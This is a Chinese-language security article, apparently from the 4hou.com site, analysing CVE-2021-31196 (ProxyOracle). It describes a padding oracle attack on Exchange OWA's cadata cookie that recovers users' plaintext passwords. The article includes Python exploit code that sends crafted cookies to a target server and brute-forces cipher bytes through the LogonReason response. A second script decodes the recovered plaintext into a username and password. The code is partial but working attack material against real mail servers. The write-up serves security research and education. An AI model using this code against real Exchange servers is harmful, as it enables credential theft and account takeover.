【技术原创】ProxyOracle利用分析2——CVE-2021-31196 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

【技术原创】ProxyOracle利用分析2——CVE-2021-31196

3gstudent 技术 2021-09-29 11:45:00
264494
收藏

导语:本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令。

0x00 前言

在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令。

0x01 简介

本文将要介绍以下内容:

◼实现思路

◼部分开源代码

0x02 实现思路

实现Padding Oracle Attack的前提条件:

1.获得密文和密文对应的IV(初始化向量)

2.能够触发密文的解密过程,且能够知道密文的解密结果

对应到Exchange上面,具体信息如下:

(1)获得密文和密文对应的IV(初始化向量)

Cookie信息中的cadata对应密文,cadataIV对应IV

(2)能够触发密文的解密过程,且能够知道密文的解密结果

我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:

使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

依次定位到Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

如下图:

1.png

得到触发密文解密过程的方法:

访问https://<  url>/owa,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig

密文解密结果的判断:

发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功。

解密结果可以通过查看LogonReason的定义进行判断。

如下图:

2.png

从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff

我们在尝试解密时,当reason=2,代表解密成功。

当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack。

注:Exchange的Cookie有效期为12小时。

0x03 部分开源代码

1.破解第0个分组的第8个字节

Python实现的完整示例代码如下:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()
def checkFirstByte(url, flag):
    url1 = "https://" + url + "/owa/"    
    cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
    cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
    cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
    cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
    cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="
    cipher = base64.b64decode(cadata)
    bs = 16
    if len(cipher) % bs != 0:
        raise ValueError("The length of `cipher` must be a multiple of `bs`")
    cipher_blocks = []
    for i in range(0, len(cipher), bs):
        cipher_blocks.append(cipher[i: i + bs])
    bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag]) 
    bytecadata = bytetempdata + cipher_blocks[1]
    base64cadata = base64.b64encode(bytecadata).decode()
    cookie = {
        "cadata": base64cadata,
        "cadataTTL": cadataTTL,
        "cadataKey": cadataKey,
        "cadataIV": cadataIV,
        "cadataSig": cadataSig,
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)
    if response.status_code == 302 and "reason" in response.text:
        pattern_name = re.compile(r"reason=(.*?)\">here")
        name = pattern_name.findall(response.text)
        print(name[0], end='')
        if name[0] == "2":
            print("\ndecrypt:")
            print(bytecadata)
            sys.exit(0)
        else:
            return False
if __name__ == "__main__":
    for flag in range(0, 256):
        checkFirstByte("192.168.1.1", flag)

这里需要注意以下细节:

(1)0x00至0xFF遍历

for i in range(0, 256):
    i = bytes([i])
    print(i)

(2)密文分组

分组长度为16

(3)发送GET请求时设置allow_redirects=False来禁用跳转

2.由填充明文到实际明文

在我们完成整个Padding Oracle Attack后,会得到一段填充的明文。

由填充明文到实际明文的完整示例代码如下:

#python3
import base64
import re
def unpad(s):
    exe = re.findall("..", s.hex())
    padding = int(exe[-1], 16)
    exe = exe[::-1]
    if padding == 0 or padding > 16:
        return 0
    for i in range(padding):
        if int(exe[i], 16) != padding:
            return 0
    return s[: -ord(s[len(s) - 1 :])]
decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()
print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

代码执行结果如下图:

3.png

这里需要注意以下细节:

(1)得到填充明文后需要使用PKCS7进行数据填充

(2)实际明文的格式为usename:password

虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称。

0x04 小结

本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务